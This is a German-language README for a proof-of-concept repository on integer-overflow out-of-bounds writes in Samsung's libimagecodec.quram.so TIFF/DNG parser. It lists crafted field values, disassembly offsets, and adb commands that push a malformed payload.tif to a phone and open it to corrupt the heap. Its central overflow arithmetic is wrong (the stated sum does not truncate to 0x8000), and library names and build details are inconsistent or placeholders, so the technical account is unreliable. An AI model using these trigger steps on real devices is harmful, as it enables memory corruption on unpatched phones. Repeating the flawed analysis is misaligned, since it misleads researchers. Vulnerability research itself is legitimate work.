
Samsung libimagecodec.quram.so OOB Write PoC
Dieses Repository enthält konzeptionelle Proof-of-Concept-Dateien (PoC), die Out-of-Bounds-Schreibschwachstellen (OOB) in der Quramsoft-Bildcodec-Bibliothek (libimagecodec.quram.so) demonstrieren, die auf Samsung-Android-Geräten verwendet wird.
| CVE | Format | Typ | Schweregrad | CVSS 4.0 | Behoben in |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | Out-of-Bounds-Write (CWE-787) | Kritisch | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | Out-of-Bounds-Write (CWE-787) | Hoch | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soDie Schwachstelle befindet sich in der IFD-Tag-Parsing-Funktion (Image File Directory) WINKJ_ReadExifField (Offset 0x13a0a8 in der 64-Bit-Binärdatei). Diese Funktion verarbeitet einzelne TIFF/EXIF-IFD-Einträge, die jeweils eine 12-Byte-Struktur darstellen:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
Wenn count * element_size > 4 ist, wird das 4-Byte-Value-Feld als Datei-Offset behandelt (der darauf verweist, wo die tatsächlichen Daten liegen). Der Code führt dann an Adresse 0x13a258 eine Grenzwertprüfung durch:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
Die Schwachstelle ist ein 32-Bit-Integer-Überlauf ohne Vorzeichen in der Addition. Wenn ein Angreifer value_offset und count * element_size so gestaltet, dass ihre Summe auf einen kleinen Wert überläuft, besteht die Prüfung, obwohl der tatsächliche Speicherzugriff bei base + value_offset außerhalb der Grenzen liegt.
Beispiel (Typ UNDEFINED, element_size = 1):
Die 32-Bit-Addition 0x17FFF + 0xFFFF0001 = 0x10008000 wird auf 0x8000 abgeschnitten, was buffer_size entspricht. Die Prüfung besteht, aber der tatsächliche Datenzeiger (base + 0x17FFF) liegt 0x7FFF Bytes hinter dem Ende des zugewiesenen Puffers.
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| Datei | Beschreibung |
|---|---|
cve-2026-21045_tiff_oob_poc.py | Erzeugt poc_crash.tif — fehlerhafte TIFF-Datei, die über ein ASCII-Tag mit präpariertem count/Offset einen OOB-Write auslöst |
cve-2026-21048_dng_oob_poc.py | Erzeugt poc_crash.dng — fehlerhafte DNG-Datei, die über ein UNDEFINED-Tag mit präpariertem count/Offset einen OOB-Write auslöst |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
Auf einem ungepatchten Gerät (Sicherheitspatch < Juli 2026) sollte das Öffnen der präparierten TIFF/DNG-Datei in der Samsung Gallery (oder in einer beliebigen App, die den Quram-Decoder verwendet) eine Heap-Speicherkorruption verursachen, die möglicherweise zu Folgendem führt:
Auf einem gepatchten Gerät (SMR Jul-2026+) sollte das Bild entweder als ungültig abgelehnt oder sicher verarbeitet werden. Ein Absturz auf einem vollständig gepatchten Gerät kann auf ein separates, ungepatchtes Problem hinweisen.
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
Extrahiert aus WINKJ_ReadExifField:
Alle Typen mit element_size = 1 (BYTE, ASCII, UNDEFINED) verwenden denselben Handler und sind gleichermaßen anfällig für die Umgehung per Integer-Überlauf.
Diese Proofs of Concept dienen ausschließlich Bildungs- und Sicherheitsforschungszwecken. Sie veranschaulichen den Schwachstellenmechanismus, um Benutzern und Entwicklern zu helfen, das Risiko zu verstehen. Verwenden Sie sie nicht gegen Systeme, die Ihnen nicht gehören oder für deren Test Sie keine ausdrückliche Genehmigung haben.
| Feld | Wert (hex) | Dezimal |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (Überlauf!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
Prüfergebnis: 0x8000 <= 0x8000 | ✅ BESTANDEN | — |
Tatsächlicher Speicherzugriff: base + 0x17FFF | 0x7FFF Bytes außerhalb des Puffers | ❌ OOB |
| Funktion | Adresse (64-Bit) | Größe | Zweck |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | Analysiert einzelnen IFD-Eintrag (verwundbar) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | Liest alle IFD-Einträge |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | High-Level-Parser für TIFF-Informationen |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | Haupt-Einstiegspunkt des TIFF-Parsings |
decodeTIFF | 0x1a2adc | 580 | Dekodiert TIFF-Bild über libtiff |
getTIFFImageInfo | 0x1a2d20 | 508 | Ruft TIFF-Bildmetadaten ab |
copySubImageBuffer | 0x0b2824 | 324 | Kopiert Teilbildbereich |
TIFFReadDirectory | 0x1aac78 | 5896 | Verzeichnisleser von libtiff 4.6.0 |
_TIFFMultiply32 | 0x1a2f1c | 56 | Sichere 32-Bit-Multiplikationsprüfung |
_TIFFMultiply64 | 0x1a2f58 | 48 | Sichere 64-Bit-Multiplikationsprüfung |
| Typ | Name | Elementgröße | Handler-Adresse |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | Beschreibung | Status |
|---|
| CVE-2025-58477 | OOB-Write beim IFD-Tag-Parsing in libimagecodec.quram.so (SMR Dez-2025) | ✅ Behoben |
| CVE-2026-20973 | OOB-Read in libimagecodec.quram.so (SMR Jan-2026) | ✅ Behoben |
| CVE-2026-21045 | OOB-Write beim TIFF-Parsing in libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ Bei mir ungepatcht |
| CVE-2026-21048 | OOB-Write beim DNG-Parsing in libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ Bei mir ungepatcht |
| CVE-2026-4775 | Integer-Überlauf mit Vorzeichen in libtiff 4.6.0 putcontig8bitYCbCr44tile | ⚠️ Bei mir ungepatcht |
| CVE-2024-7006 | NULL-Dereferenzierung in libtiff tif_dirinfo.c | ✅ Behoben in 4.6.1 |